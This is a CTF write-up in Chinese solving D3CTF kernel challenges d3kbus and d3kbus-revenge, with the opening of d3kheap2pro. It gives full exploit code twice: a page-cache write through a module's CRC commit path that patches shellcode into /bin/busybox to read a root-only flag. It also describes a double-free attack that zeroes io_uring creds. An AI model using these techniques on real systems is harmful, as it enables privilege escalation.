d3kbus

题目给了一个Linux7.1.4内核、rootfs和一个d3kbus.ko。启动脚本里SMEP、SMAP、KASLR、KPTI都开着,不过这题最后没走内核ROP,而是把模块里的CRC提交逻辑转成文件page cache写。

rcS大概是这样:

dd if=/dev/sdb of=/flag bs=1M iflag=direct oflag=direct 1>&/dev/null
echo 1 > /sys/block/sdb/device/delete
echo 3 > /proc/sys/vm/drop_caches
chown root:root /flag
chmod 0400 /flag

insmod /root/d3kbus.ko

cd /home/ctf
su ctf -c sh

poweroff -d 0  -f

flag在/flag,权限是0400 root:root。ctf用户能交互,模块设备是/dev/d3kbus。

模块接口

模块有两个主要ioctl:

#define D3KBUS_IOC_CREATE    0xc0186101UL
#define D3KBUS_IOC_SUBSCRIBE 0xc0286102UL

struct d3kbus_ioc_create {
    uint32_t queue_limit;
    uint16_t max_subscribers;
    uint16_t flags;
    int32_t producer_fd;
    uint32_t channel_id;
    uint64_t channel_cookie;
};

struct d3kbus_ioc_subscribe {
    uint64_t channel_cookie;
    uint32_t flags;
    uint32_t window_offset;
    uint32_t window_length;
    uint32_t stream_value;
    uint32_t stream_mask;
    int32_t subscriber_fd;
    uint32_t reserved[2];
};

CREATE会创建一个channel,并返回一个producer fd。往producer fd写入一个wire header,再写payload,模块就会把record分发给subscriber。SUBSCRIBE通过cookie订阅channel,不同flags会走不同projection路径。

结构体里比较关键的是segment:

struct d3kbus_segment {
    struct list_head node;
    struct d3kbus_buffer *buffer;
    u32 offset;
    u32 length;
    struct d3kbus_buffer *snapshot_buffer;
    u32 snapshot_offset;
    struct d3kbus_buffer *commit_snapshot_buffer;
    u32 commit_primary_offset;
    u32 commit_snapshot_offset;
    u32 commit_length;
};

以及buffer:

struct d3kbus_buffer {
    refcount_t refs;
    struct page *page;
    enum d3kbus_buffer_origin origin;
    struct inode *inode;
    unsigned long index;
};

这里能看出来模块不只是普通copy用户数据,它还有“外部page”和“commit snapshot”的概念。真正能利用的点就在这。

漏洞点

正常write()producer fd时,模块会把用户数据拷进自己管理的buffer,后面CRC、window、commit都只影响模块自己的页。

但producer fd还实现了splice路径。用sendfile(producer_fd, target_file, ...)把一个普通文件送进producer fd时,会进入模块的splice actor。这个路径会把来自文件page cache的bvec当成external segment保存下来。也就是说,segment背后的page不是模块私有页,而是目标文件自己的page cache页。

后面再配合一个开启window+CRC trailer的subscriber,流程会走到:

  • d3kbus_projection_append_deferred_trailer
  • d3kbus_frame_prepare_crc32c
  • d3kbus_frame_validate_crc32c_commit
  • d3kbus_frame_commit_crc32c

CRC commit本来的语义应该是:把计算出来的CRC32C写回某个替换/提交位置。问题是这个提交位置可以落在external segment上,于是最后变成了对文件page cache的4字节写。

触发条件我最后固定成:

  • 创建channel时max_subscribers=2
  • 一个subscriber用flags=6,window_offset=0,window_length=0x14
  • 再挂一个普通subscriber,flags=1
  • 数据不用write()送payload,而是sendfile()从目标文件的target_off-16送0x20字节

这样CRC路径会把4字节结果commit到target_off附近。这个primitive非常好用:可以对一个可读文件做4字节page cache写,即使文件本身没有写权限。

控制写入值

CRC commit写进去的值不是直接来自用户输入,而是CRC32C结果。好在CRC32C对输入bit是线性的,wire header里有一个可控的user_tag,刚好32bit。固定其他字段以后,可以把user_tag的32个bit作为基,解一个线性方程,让最后的CRC等于想写的4字节。

exp里构造CRC输入用的是模块内部frame header的布局:

static void build_crc_input(unsigned char out[0x40], uint32_t channel_id,
                            uint32_t window_offset, uint32_t user_tag,
                            const unsigned char prefix[16]) {
    memset(out, 0, 0x40);
    put32(out + 0x00, 0x74747261U);
    put16(out + 0x04, 0x30);
    put16(out + 0x06, 0x3);
    put32(out + 0x08, channel_id);
    put32(out + 0x0c, 0x77777777U);
    put64(out + 0x10, 1);
    put64(out + 0x18, 0x2222222233333333ULL);
    put32(out + 0x20, user_tag);
    put32(out + 0x24, 0x14);
    put32(out + 0x28, window_offset);
    memcpy(out + 0x30, prefix, 16);
}

其中prefix是目标位置前16字节。每次写4字节时,从target_off-16开始sendfile()0x20字节,让CRC窗口覆盖这16字节前缀和要被替换的位置。然后解出user_tag,CRC commit就会把目标4字节改成我们要的值。

到这里已经有任意文件page cache的4字节写。后面不需要打内核控制流,直接改root之后会执行的用户态程序。

利用目标

一开始我试过改/etc/init.d/rcS,但这条路不稳定。原因是当前sh已经在跑这个脚本,尾部的poweroff一行可能已经被shell读进缓冲了,改磁盘上的脚本不一定影响当前这次执行。

更稳的是改/bin/busybox。/sbin/poweroff是busybox相关链接,ctf shell退出后,root的rcS会继续执行:

poweroff -d 0  -f

此时会重新exec busybox。busybox是静态ET_EXEC,原entry是0x4020e0,第一个可执行LOAD段满足vaddr-offset=0x400000。我把shellcode写到文件偏移0x1f99c0,对应VA就是0x5f99c0,再把ELF header里的e_entry改成0x5f99c0。

shellcode只做三件事:

  • open("/flag", O_RDONLY)
  • sendfile(1, fd, NULL, 0x100)
  • exit(0)

因为触发点是root执行poweroff,所以此时读/flag有权限。

EXP

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <unistd.h>

#define D3KBUS_IOC_CREATE 0xc0186101UL
#define D3KBUS_IOC_SUBSCRIBE 0xc0286102UL

struct d3kbus_ioc_create {
    uint32_t queue_limit;
    uint16_t max_subscribers;
    uint16_t flags;
    int32_t producer_fd;
    uint32_t channel_id;
    uint64_t channel_cookie;
};

struct d3kbus_ioc_subscribe {
    uint64_t channel_cookie;
    uint32_t flags;
    uint32_t window_offset;
    uint32_t window_length;
    uint32_t stream_value;
    uint32_t stream_mask;
    int32_t subscriber_fd;
    uint32_t reserved[2];
};

struct d3kbus_wire_header {
    uint32_t magic;
    uint16_t header_length;
    uint16_t flags;
    uint32_t payload_length;
    uint32_t stream_id;
    uint32_t user_tag;
    uint32_t reserved;
    uint64_t opaque;
};

static uint32_t crc_tab[256];

static void die(const char *msg) {
    printf("[x] %s: errno=%d %s\n", msg, errno, strerror(errno));
    exit(1);
}

static void crc32c_init(void) {
    for (uint32_t i = 0; i < 256; i++) {
        uint32_t c = i;
        for (int j = 0; j < 8; j++) {
            c = (c & 1) ? ((c >> 1) ^ 0x82f63b78U) : (c >> 1);
        }
        crc_tab[i] = c;
    }
}

static uint32_t crc32c(const unsigned char *data, size_t len) {
    uint32_t c = 0xffffffffU;
    for (size_t i = 0; i < len; i++) {
        c = crc_tab[(c ^ data[i]) & 0xff] ^ (c >> 8);
    }
    return c ^ 0xffffffffU;
}

static void put16(unsigned char *p, uint16_t v) {
    p[0] = (unsigned char)v;
    p[1] = (unsigned char)(v >> 8);
}

static void put32(unsigned char *p, uint32_t v) {
    for (int i = 0; i < 4; i++) p[i] = (unsigned char)(v >> (8 * i));
}

static void put64(unsigned char *p, uint64_t v) {
    for (int i = 0; i < 8; i++) p[i] = (unsigned char)(v >> (8 * i));
}

static void build_crc_input(unsigned char out[0x40], uint32_t channel_id,
                            uint32_t window_offset, uint32_t user_tag,
                            const unsigned char prefix[16]) {
    memset(out, 0, 0x40);
    put32(out + 0x00, 0x74747261U);
    put16(out + 0x04, 0x30);
    put16(out + 0x06, 0x3);
    put32(out + 0x08, channel_id);
    put32(out + 0x0c, 0x77777777U);
    put64(out + 0x10, 1);
    put64(out + 0x18, 0x2222222233333333ULL);
    put32(out + 0x20, user_tag);
    put32(out + 0x24, 0x14);
    put32(out + 0x28, window_offset);
    memcpy(out + 0x30, prefix, 16);
}

static uint32_t solve_user_tag(uint32_t channel_id, uint32_t window_offset,
                               const unsigned char prefix[16], uint32_t desired) {
    unsigned char in[0x40];
    uint32_t basis[32] = {0};
    uint32_t basis_vec[32] = {0};

    build_crc_input(in, channel_id, window_offset, 0, prefix);
    uint32_t base = crc32c(in, 0x40);

    for (uint32_t bit = 0; bit < 32; bit++) {
        build_crc_input(in, channel_id, window_offset, 1U << bit, prefix);
        uint32_t v = crc32c(in, 0x40) ^ base;
        uint32_t sol = 1U << bit;
        while (v) {
            int b = 31 - __builtin_clz(v);
            if (basis[b]) {
                v ^= basis[b];
                sol ^= basis_vec[b];
            } else {
                basis[b] = v;
                basis_vec[b] = sol;
                break;
            }
        }
    }

    uint32_t v = desired ^ base;
    uint32_t sol = 0;
    while (v) {
        int b = 31 - __builtin_clz(v);
        if (!basis[b]) {
            printf("[x] no crc solution\n");
            exit(1);
        }
        v ^= basis[b];
        sol ^= basis_vec[b];
    }
    return sol;
}

static int subscribe_one(int ctl, uint64_t cookie, uint32_t flags,
                         uint32_t off, uint32_t len) {
    struct d3kbus_ioc_subscribe sub;
    memset(&sub, 0, sizeof(sub));
    sub.channel_cookie = cookie;
    sub.flags = flags;
    sub.window_offset = off;
    sub.window_length = len;
    if (ioctl(ctl, D3KBUS_IOC_SUBSCRIBE, &sub) < 0) die("SUBSCRIBE");
    return sub.subscriber_fd;
}

static void patch4(const char *path, uint32_t target_off, const unsigned char bytes[4]) {
    int tfd = open(path, O_RDONLY);
    if (tfd < 0) die("open target");

    struct stat st;
    if (fstat(tfd, &st) != 0) die("fstat target");
    if ((target_off & 3) != 0 || (target_off & 0xfff) < 16 ||
        (uint64_t)target_off + 4 > (uint64_t)st.st_size) {
        printf("[x] bad target offset=%u size=%jd\n", target_off, (intmax_t)st.st_size);
        exit(1);
    }

    off_t send_start = (off_t)target_off - 16;
    uint32_t window_offset = 0;
    uint32_t payload_length = 0x20;
    unsigned char prefix[16];
    if (pread(tfd, prefix, sizeof(prefix), send_start) != (ssize_t)sizeof(prefix)) {
        die("pread prefix");
    }

    int ctl = open("/dev/d3kbus", O_RDWR);
    if (ctl < 0) die("open /dev/d3kbus");

    struct d3kbus_ioc_create cr;
    memset(&cr, 0, sizeof(cr));
    cr.queue_limit = 8;
    cr.max_subscribers = 2;
    if (ioctl(ctl, D3KBUS_IOC_CREATE, &cr) < 0) die("CREATE");

    int sub_crc = subscribe_one(ctl, cr.channel_cookie, 6, window_offset, 0x14);
    int sub_norm = subscribe_one(ctl, cr.channel_cookie, 1, 0, 0);

    uint32_t desired = (uint32_t)bytes[0] | ((uint32_t)bytes[1] << 8) |
                       ((uint32_t)bytes[2] << 16) | ((uint32_t)bytes[3] << 24);
    uint32_t tag = solve_user_tag(cr.channel_id, window_offset, prefix, desired);

    struct d3kbus_wire_header h;
    memset(&h, 0, sizeof(h));
    h.magic = 0x3361626eU;
    h.header_length = 0x20;
    h.payload_length = payload_length;
    h.stream_id = 0x77777777U;
    h.user_tag = tag;
    h.opaque = 0x2222222233333333ULL;
    if (write(cr.producer_fd, &h, sizeof(h)) != (ssize_t)sizeof(h)) die("write header");

    off_t off = send_start;
    ssize_t n = sendfile(cr.producer_fd, tfd, &off, payload_length);
    if (n != (ssize_t)payload_length) {
        printf("[x] sendfile n=%zd want=%jd off=%jd errno=%d\n",
               n, (intmax_t)payload_length, (intmax_t)off, errno);
        exit(1);
    }

    unsigned char check[4];
    if (pread(tfd, check, sizeof(check), target_off) != (ssize_t)sizeof(check)) {
        die("pread check");
    }
    printf("[*] patch off=%u tag=%08x -> %02x %02x %02x %02x, now %02x %02x %02x %02x\n",
           target_off, tag, bytes[0], bytes[1], bytes[2], bytes[3],
           check[0], check[1], check[2], check[3]);

    close(sub_crc);
    close(sub_norm);
    close(cr.producer_fd);
    close(ctl);
    close(tfd);
}

int main(void) {
    crc32c_init();

    const char *path = "/bin/busybox";
    const uint32_t code_off = 0x1f99c0;
    const uint64_t code_va = 0x5f99c0;
    const unsigned char shellcode[] = {
        0x31, 0xf6, 0x48, 0x8d, 0x3d, 0x26, 0x00, 0x00,
        0x00, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05,
        0x89, 0xc6, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x31,
        0xd2, 0x41, 0xba, 0x00, 0x01, 0x00, 0x00, 0xb8,
        0x28, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x31, 0xff,
        0xb8, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f,
        0x66, 0x6c, 0x61, 0x67, 0x00
    };

    int fd = open(path, O_RDONLY);
    if (fd < 0) die("open busybox");

    for (uint32_t i = 0; i < sizeof(shellcode); i += 4) {
        unsigned char chunk[4];
        if (pread(fd, chunk, sizeof(chunk), code_off + i) != (ssize_t)sizeof(chunk)) {
            die("pread shellcode chunk");
        }
        for (uint32_t j = 0; j < 4 && i + j < sizeof(shellcode); j++) {
            chunk[j] = shellcode[i + j];
        }
        patch4(path, code_off + i, chunk);
    }

    unsigned char entry_low[4] = {
        (unsigned char)code_va,
        (unsigned char)(code_va >> 8),
        (unsigned char)(code_va >> 16),
        (unsigned char)(code_va >> 24)
    };
    unsigned char entry_high[4] = {
        (unsigned char)(code_va >> 32),
        (unsigned char)(code_va >> 40),
        (unsigned char)(code_va >> 48),
        (unsigned char)(code_va >> 56)
    };
    patch4(path, 0x18, entry_low);
    patch4(path, 0x1c, entry_high);

    close(fd);
    printf("[*] busybox entry patched to 0x%jx; returning to root rcS\n",
           (uintmax_t)code_va);
    return 0;
}

本地跑完以后可以看到最后几次patch:

[*] patch off=24 tag=5a90c817 -> c0 99 5f 00, now c0 99 5f 00
[*] busybox entry patched to 0x5f99c0; returning to root rcS
flag{arttnba3_t3s7_f1@9!}

远程同理,上传执行exp后退出ctf shell,让root脚本继续跑poweroff即可。

Flag

d3ctf{1_Wl1L-chANGE_ThAt_W0R1D_1NTO-S0MEtHlnG_6etter_h0ney!0}

d3kbus-revenge

revenge版本附件还是bzImage、rootfs.qcow2、run.sh这一套。先看rcS,逻辑和前一版一样:

dd if=/dev/sdb of=/flag bs=1M iflag=direct oflag=direct 1>&/dev/null
echo 1 > /sys/block/sdb/device/delete
echo 3 > /proc/sys/vm/drop_caches
chown root:root /flag
chmod 0400 /flag

insmod /root/d3kbus.ko

cd /home/ctf
su ctf -c sh

poweroff -d 0  -f

flag会被拷到/flag,权限是0400 root:root。ctf用户能拿到shell,模块设备是/dev/d3kbus。revenge的关键文件我也对了一下,/root/d3kbus.ko、/bin/busybox和rcS仍然是同一套,所以最后利用链还是可以走page cache写再patch busybox。

接口和对象

模块主要用两个ioctl创建channel和订阅:

#define D3KBUS_IOC_CREATE    0xc0186101UL
#define D3KBUS_IOC_SUBSCRIBE 0xc0286102UL

struct d3kbus_ioc_create {
    uint32_t queue_limit;
    uint16_t max_subscribers;
    uint16_t flags;
    int32_t producer_fd;
    uint32_t channel_id;
    uint64_t channel_cookie;
};

struct d3kbus_ioc_subscribe {
    uint64_t channel_cookie;
    uint32_t flags;
    uint32_t window_offset;
    uint32_t window_length;
    uint32_t stream_value;
    uint32_t stream_mask;
    int32_t subscriber_fd;
    uint32_t reserved[2];
};

CREATE返回一个producer fd。往producer fd写wire header和payload以后,record会按subscriber的flags做projection。模块结构里比较关键的是segment和buffer:

struct d3kbus_buffer {
    refcount_t refs;
    struct page *page;
    enum d3kbus_buffer_origin origin;
    struct inode *inode;
    unsigned long index;
};

struct d3kbus_segment {
    struct list_head node;
    struct d3kbus_buffer *buffer;
    u32 offset;
    u32 length;
    struct d3kbus_buffer *snapshot_buffer;
    u32 snapshot_offset;
    struct d3kbus_buffer *commit_snapshot_buffer;
    u32 commit_primary_offset;
    u32 commit_snapshot_offset;
    u32 commit_length;
};

这些字段说明它不是简单把用户数据copy到私有buffer里。segment可以记录外部page,也有commit snapshot相关状态,后面CRC提交就会用到。

漏洞点

正常write()producer fd时,payload会进入模块自己的页,CRC再怎么提交也只影响模块内部数据。

关键是producer还支持splice。用sendfile(producer_fd, target_file, ...)时,内核会通过内部pipe把目标文件page cache里的bvec送到producer fd。模块这条路径会把它标成external segment,也就是说segment背后的page仍然是目标文件的page cache页。

然后挂一个带CRC窗口的subscriber,projection会走到这些函数:

  • d3kbus_projection_append_deferred_trailer
  • d3kbus_frame_prepare_crc32c
  • d3kbus_frame_validate_crc32c_commit
  • d3kbus_frame_commit_crc32c

CRC commit原本是写回一段替换内容。问题在于替换位置可以落到external segment上,所以最后变成对目标文件page cache的4字节写。文件只需要能读,不需要有写权限。

最后固定出来的触发条件:

  • max_subscribers=2
  • 一个subscriber用flags=6,window_offset=0,window_length=0x14
  • 另一个普通subscriber用flags=1
  • header用write()送,payload用sendfile()从目标文件target_off-16开始送0x20字节

这样一次可以把CRC结果commit到target_off,得到4字节page cache写。

控制CRC写入值

写进去的是CRC32C结果,不是直接的用户数据。不过wire header里有一个可控的user_tag,刚好32bit。固定其他输入后,CRC32C对这32个bit是线性的,所以可以枚举32个基向量,解出让CRC等于目标4字节的user_tag。

exp里构造的CRC输入如下:

static void build_crc_input(unsigned char out[0x40], uint32_t channel_id,
                            uint32_t window_offset, uint32_t user_tag,
                            const unsigned char prefix[16]) {
    memset(out, 0, 0x40);
    put32(out + 0x00, 0x74747261U);
    put16(out + 0x04, 0x30);
    put16(out + 0x06, 0x3);
    put32(out + 0x08, channel_id);
    put32(out + 0x0c, 0x77777777U);
    put64(out + 0x10, 1);
    put64(out + 0x18, 0x2222222233333333ULL);
    put32(out + 0x20, user_tag);
    put32(out + 0x24, 0x14);
    put32(out + 0x28, window_offset);
    memcpy(out + 0x30, prefix, 16);
}

这里prefix就是目标位置前16字节。每次patch前先pread()这16字节,再解user_tag。这样patch4(path, off, bytes)就变成了稳定的4字节写。

最终目标

这题不用打内核控制流。既然已经能改可读文件的page cache,直接改root后面会exec的用户态程序即可。

/sbin/poweroff是busybox相关链接。ctf shell退出后,root的rcS会继续执行:

poweroff -d 0  -f

这个时候会重新加载/bin/busybox。busybox是静态ET_EXEC,原入口是0x4020e0,可执行LOAD段满足vaddr-offset=0x400000。选文件偏移0x1f99c0写shellcode,对应VA是0x5f99c0,然后把ELF header里的e_entry改成0x5f99c0。

shellcode就是:

  • open("/flag", O_RDONLY)
  • sendfile(1, fd, NULL, 0x100)
  • exit(0)

触发时已经回到root执行poweroff,所以读/flag有权限。

EXP

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <unistd.h>

#define D3KBUS_IOC_CREATE 0xc0186101UL
#define D3KBUS_IOC_SUBSCRIBE 0xc0286102UL

struct d3kbus_ioc_create {
    uint32_t queue_limit;
    uint16_t max_subscribers;
    uint16_t flags;
    int32_t producer_fd;
    uint32_t channel_id;
    uint64_t channel_cookie;
};

struct d3kbus_ioc_subscribe {
    uint64_t channel_cookie;
    uint32_t flags;
    uint32_t window_offset;
    uint32_t window_length;
    uint32_t stream_value;
    uint32_t stream_mask;
    int32_t subscriber_fd;
    uint32_t reserved[2];
};

struct d3kbus_wire_header {
    uint32_t magic;
    uint16_t header_length;
    uint16_t flags;
    uint32_t payload_length;
    uint32_t stream_id;
    uint32_t user_tag;
    uint32_t reserved;
    uint64_t opaque;
};

static uint32_t crc_tab[256];

static void die(const char *msg) {
    printf("[x] %s: errno=%d %s\n", msg, errno, strerror(errno));
    exit(1);
}

static void crc32c_init(void) {
    for (uint32_t i = 0; i < 256; i++) {
        uint32_t c = i;
        for (int j = 0; j < 8; j++) {
            c = (c & 1) ? ((c >> 1) ^ 0x82f63b78U) : (c >> 1);
        }
        crc_tab[i] = c;
    }
}

static uint32_t crc32c(const unsigned char *data, size_t len) {
    uint32_t c = 0xffffffffU;
    for (size_t i = 0; i < len; i++) {
        c = crc_tab[(c ^ data[i]) & 0xff] ^ (c >> 8);
    }
    return c ^ 0xffffffffU;
}

static void put16(unsigned char *p, uint16_t v) {
    p[0] = (unsigned char)v;
    p[1] = (unsigned char)(v >> 8);
}

static void put32(unsigned char *p, uint32_t v) {
    for (int i = 0; i < 4; i++) p[i] = (unsigned char)(v >> (8 * i));
}

static void put64(unsigned char *p, uint64_t v) {
    for (int i = 0; i < 8; i++) p[i] = (unsigned char)(v >> (8 * i));
}

static void build_crc_input(unsigned char out[0x40], uint32_t channel_id,
                            uint32_t window_offset, uint32_t user_tag,
                            const unsigned char prefix[16]) {
    memset(out, 0, 0x40);
    put32(out + 0x00, 0x74747261U);
    put16(out + 0x04, 0x30);
    put16(out + 0x06, 0x3);
    put32(out + 0x08, channel_id);
    put32(out + 0x0c, 0x77777777U);
    put64(out + 0x10, 1);
    put64(out + 0x18, 0x2222222233333333ULL);
    put32(out + 0x20, user_tag);
    put32(out + 0x24, 0x14);
    put32(out + 0x28, window_offset);
    memcpy(out + 0x30, prefix, 16);
}

static uint32_t solve_user_tag(uint32_t channel_id, uint32_t window_offset,
                               const unsigned char prefix[16], uint32_t desired) {
    unsigned char in[0x40];
    uint32_t basis[32] = {0};
    uint32_t basis_vec[32] = {0};

    build_crc_input(in, channel_id, window_offset, 0, prefix);
    uint32_t base = crc32c(in, 0x40);

    for (uint32_t bit = 0; bit < 32; bit++) {
        build_crc_input(in, channel_id, window_offset, 1U << bit, prefix);
        uint32_t v = crc32c(in, 0x40) ^ base;
        uint32_t sol = 1U << bit;
        while (v) {
            int b = 31 - __builtin_clz(v);
            if (basis[b]) {
                v ^= basis[b];
                sol ^= basis_vec[b];
            } else {
                basis[b] = v;
                basis_vec[b] = sol;
                break;
            }
        }
    }

    uint32_t v = desired ^ base;
    uint32_t sol = 0;
    while (v) {
        int b = 31 - __builtin_clz(v);
        if (!basis[b]) {
            printf("[x] no crc solution\n");
            exit(1);
        }
        v ^= basis[b];
        sol ^= basis_vec[b];
    }
    return sol;
}

static int subscribe_one(int ctl, uint64_t cookie, uint32_t flags,
                         uint32_t off, uint32_t len) {
    struct d3kbus_ioc_subscribe sub;
    memset(&sub, 0, sizeof(sub));
    sub.channel_cookie = cookie;
    sub.flags = flags;
    sub.window_offset = off;
    sub.window_length = len;
    if (ioctl(ctl, D3KBUS_IOC_SUBSCRIBE, &sub) < 0) die("SUBSCRIBE");
    return sub.subscriber_fd;
}

static void patch4(const char *path, uint32_t target_off, const unsigned char bytes[4]) {
    int tfd = open(path, O_RDONLY);
    if (tfd < 0) die("open target");

    struct stat st;
    if (fstat(tfd, &st) != 0) die("fstat target");
    if ((target_off & 3) != 0 || (target_off & 0xfff) < 16 ||
        (uint64_t)target_off + 4 > (uint64_t)st.st_size) {
        printf("[x] bad target offset=%u size=%jd\n", target_off, (intmax_t)st.st_size);
        exit(1);
    }

    off_t send_start = (off_t)target_off - 16;
    uint32_t window_offset = 0;
    uint32_t payload_length = 0x20;
    unsigned char prefix[16];
    if (pread(tfd, prefix, sizeof(prefix), send_start) != (ssize_t)sizeof(prefix)) {
        die("pread prefix");
    }

    int ctl = open("/dev/d3kbus", O_RDWR);
    if (ctl < 0) die("open /dev/d3kbus");

    struct d3kbus_ioc_create cr;
    memset(&cr, 0, sizeof(cr));
    cr.queue_limit = 8;
    cr.max_subscribers = 2;
    if (ioctl(ctl, D3KBUS_IOC_CREATE, &cr) < 0) die("CREATE");

    int sub_crc = subscribe_one(ctl, cr.channel_cookie, 6, window_offset, 0x14);
    int sub_norm = subscribe_one(ctl, cr.channel_cookie, 1, 0, 0);

    uint32_t desired = (uint32_t)bytes[0] | ((uint32_t)bytes[1] << 8) |
                       ((uint32_t)bytes[2] << 16) | ((uint32_t)bytes[3] << 24);
    uint32_t tag = solve_user_tag(cr.channel_id, window_offset, prefix, desired);

    struct d3kbus_wire_header h;
    memset(&h, 0, sizeof(h));
    h.magic = 0x3361626eU;
    h.header_length = 0x20;
    h.payload_length = payload_length;
    h.stream_id = 0x77777777U;
    h.user_tag = tag;
    h.opaque = 0x2222222233333333ULL;
    if (write(cr.producer_fd, &h, sizeof(h)) != (ssize_t)sizeof(h)) die("write header");

    off_t off = send_start;
    ssize_t n = sendfile(cr.producer_fd, tfd, &off, payload_length);
    if (n != (ssize_t)payload_length) {
        printf("[x] sendfile n=%zd want=%jd off=%jd errno=%d\n",
               n, (intmax_t)payload_length, (intmax_t)off, errno);
        exit(1);
    }

    unsigned char check[4];
    if (pread(tfd, check, sizeof(check), target_off) != (ssize_t)sizeof(check)) {
        die("pread check");
    }
    printf("[*] patch off=%u tag=%08x -> %02x %02x %02x %02x, now %02x %02x %02x %02x\n",
           target_off, tag, bytes[0], bytes[1], bytes[2], bytes[3],
           check[0], check[1], check[2], check[3]);

    close(sub_crc);
    close(sub_norm);
    close(cr.producer_fd);
    close(ctl);
    close(tfd);
}

int main(void) {
    crc32c_init();

    const char *path = "/bin/busybox";
    const uint32_t code_off = 0x1f99c0;
    const uint64_t code_va = 0x5f99c0;
    const unsigned char shellcode[] = {
        0x31, 0xf6, 0x48, 0x8d, 0x3d, 0x26, 0x00, 0x00,
        0x00, 0xb8, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05,
        0x89, 0xc6, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x31,
        0xd2, 0x41, 0xba, 0x00, 0x01, 0x00, 0x00, 0xb8,
        0x28, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x31, 0xff,
        0xb8, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f,
        0x66, 0x6c, 0x61, 0x67, 0x00
    };

    int fd = open(path, O_RDONLY);
    if (fd < 0) die("open busybox");

    for (uint32_t i = 0; i < sizeof(shellcode); i += 4) {
        unsigned char chunk[4];
        if (pread(fd, chunk, sizeof(chunk), code_off + i) != (ssize_t)sizeof(chunk)) {
            die("pread shellcode chunk");
        }
        for (uint32_t j = 0; j < 4 && i + j < sizeof(shellcode); j++) {
            chunk[j] = shellcode[i + j];
        }
        patch4(path, code_off + i, chunk);
    }

    unsigned char entry_low[4] = {
        (unsigned char)code_va,
        (unsigned char)(code_va >> 8),
        (unsigned char)(code_va >> 16),
        (unsigned char)(code_va >> 24)
    };
    unsigned char entry_high[4] = {
        (unsigned char)(code_va >> 32),
        (unsigned char)(code_va >> 40),
        (unsigned char)(code_va >> 48),
        (unsigned char)(code_va >> 56)
    };
    patch4(path, 0x18, entry_low);
    patch4(path, 0x1c, entry_high);

    close(fd);
    printf("[*] busybox entry patched to 0x%jx; returning to root rcS\n",
           (uintmax_t)code_va);
    return 0;
}

本地和远程都是同一条触发:执行exp后退出ctf shell,让root的rcS继续跑poweroff。远程输出里可以看到最后几行:

[*] patch off=24 tag=5a90c817 -> c0 99 5f 00, now c0 99 5f 00
[*] busybox entry patched to 0x5f99c0; returning to root rcS
/tmp $ exit

随后patched busybox入口读出/flag。

Flag

d3ctf{@Nd_y0U-Know_1Ts_G0nnA-be_R@In1nG-AND-yOU-knOw-It5_gonna_be_hard...0}

d3kheap2pro

这题入口很小,/proc/d3kheap2pro只给了两个有用 ioctl:申请和释放。洞也很直接,同一个 slot 里的指针 free 以后不清,计数还能让它再 free 一次,所以能批量做 0x800 对象 double free。

麻烦的是模块没有读写对象内容的接口,拿到的不是普通 UAF read/write,而是“后面谁复用了这些 0x800 对象,谁就可能被再申请时清零”。最后路线是:

  1. 用模块批量 double free 0x800 对象;
  2. 让 io_uring 的 registered personality 保存一批特殊 cred;
  3. 再用模块 reserve allocation 把复用到的对象清零;
  4. 被清零的 personality cred 过掉权限检查,用 IORING_OP_SETXATTR 给/flag写 ACL;
  5. 普通 ctf 用户直接读/flag。

模块逻辑

拖一下模块,和利用有关的状态大概是这样:

struct slot {
    void *ptr;
    int cnt;
};

struct slot slots[512];
struct kmem_cache *d3kheap2pro_cache; // size 0x800

申请命令是0x3361626e,释放命令是0x74747261。申请时如果当前 slot 为空,就从私有 cache 里拿一个 0x800 对象,然后把计数设成 2。释放时只看ptr != NULL && cnt > 0,减计数以后直接kmem_cache_free(cache, ptr)。

关键问题是 release path 没有清指针:

case CMD_ALLOC:
    copy_from_user(&idx, arg, 8);
    if (!slots[idx].ptr) {
        slots[idx].ptr = kmem_cache_alloc(d3kheap2pro_cache, GFP_KERNEL);
        slots[idx].cnt = 1;
    }
    slots[idx].cnt++;
    break;

case CMD_FREE:
    copy_from_user(&idx, arg, 8);
    if (!slots[idx].ptr || slots[idx].cnt <= 0)
        return -EPERM;
    slots[idx].cnt--;
    kmem_cache_free(d3kheap2pro_cache, slots[idx].ptr);
    break;

所以一个 slot 的正常状态变化是:

alloc(i)      -> ptr=P,cnt=2
free(i)       -> ptr=P,cnt=1, P进入free list
free(i)       -> ptr=P,cnt=0, P再次进入free list

第三次 free 会因为cnt==0失败,但两次已经够了。这里没有写对象内容的入口,所以不能按常规 double free 去改 freelist 指针。真正能用的是另外一个效果:后续跨 cache 复用到这些物理对象时,题目环境开了init_on_alloc,重新分配会把对象清零。

一开始我试过直接打当前进程的 cred、SysV msg 等对象。能观察到对象被清零,但当前 cred 太容易把内核状态打烂,msg 方向又缺少稳定放大 primitive,最后换成 io_uring personality。

选 personality cred

IORING_REGISTER_PERSONALITY会把当前进程的cred保存到 io_uring ctx 里,后续 SQE 可以指定这个 personality 执行。这里比较适合本题:

  • personality 数量可以喷很多,每个 personality 持有一个独立 cred 引用;
  • SQE 里有personality字段,可以一个个试;
  • cred 被清零后,不需要劫持 RIP,只要让一次权限检查走过即可。

流程上先创建一个 ring,再开一批 worker。每个 worker 先unshare(CLONE_NEWUSER),再向父进程的 ring 注册 personality。这样喷出来的是 user namespace 相关的 cred,数量多,生命周期也能被 worker hold 住。

接下来用模块再申请 128 个 0x800 对象。由于前面已经把 384 个 slot 各 free 了两次,reserve allocation 会从被污染的 freelist 里拿对象,同时触发 zero-on-alloc。只要某个 registered personality 的 cred 落进这个窗口,它就会变成一份很好用的“空 cred”。

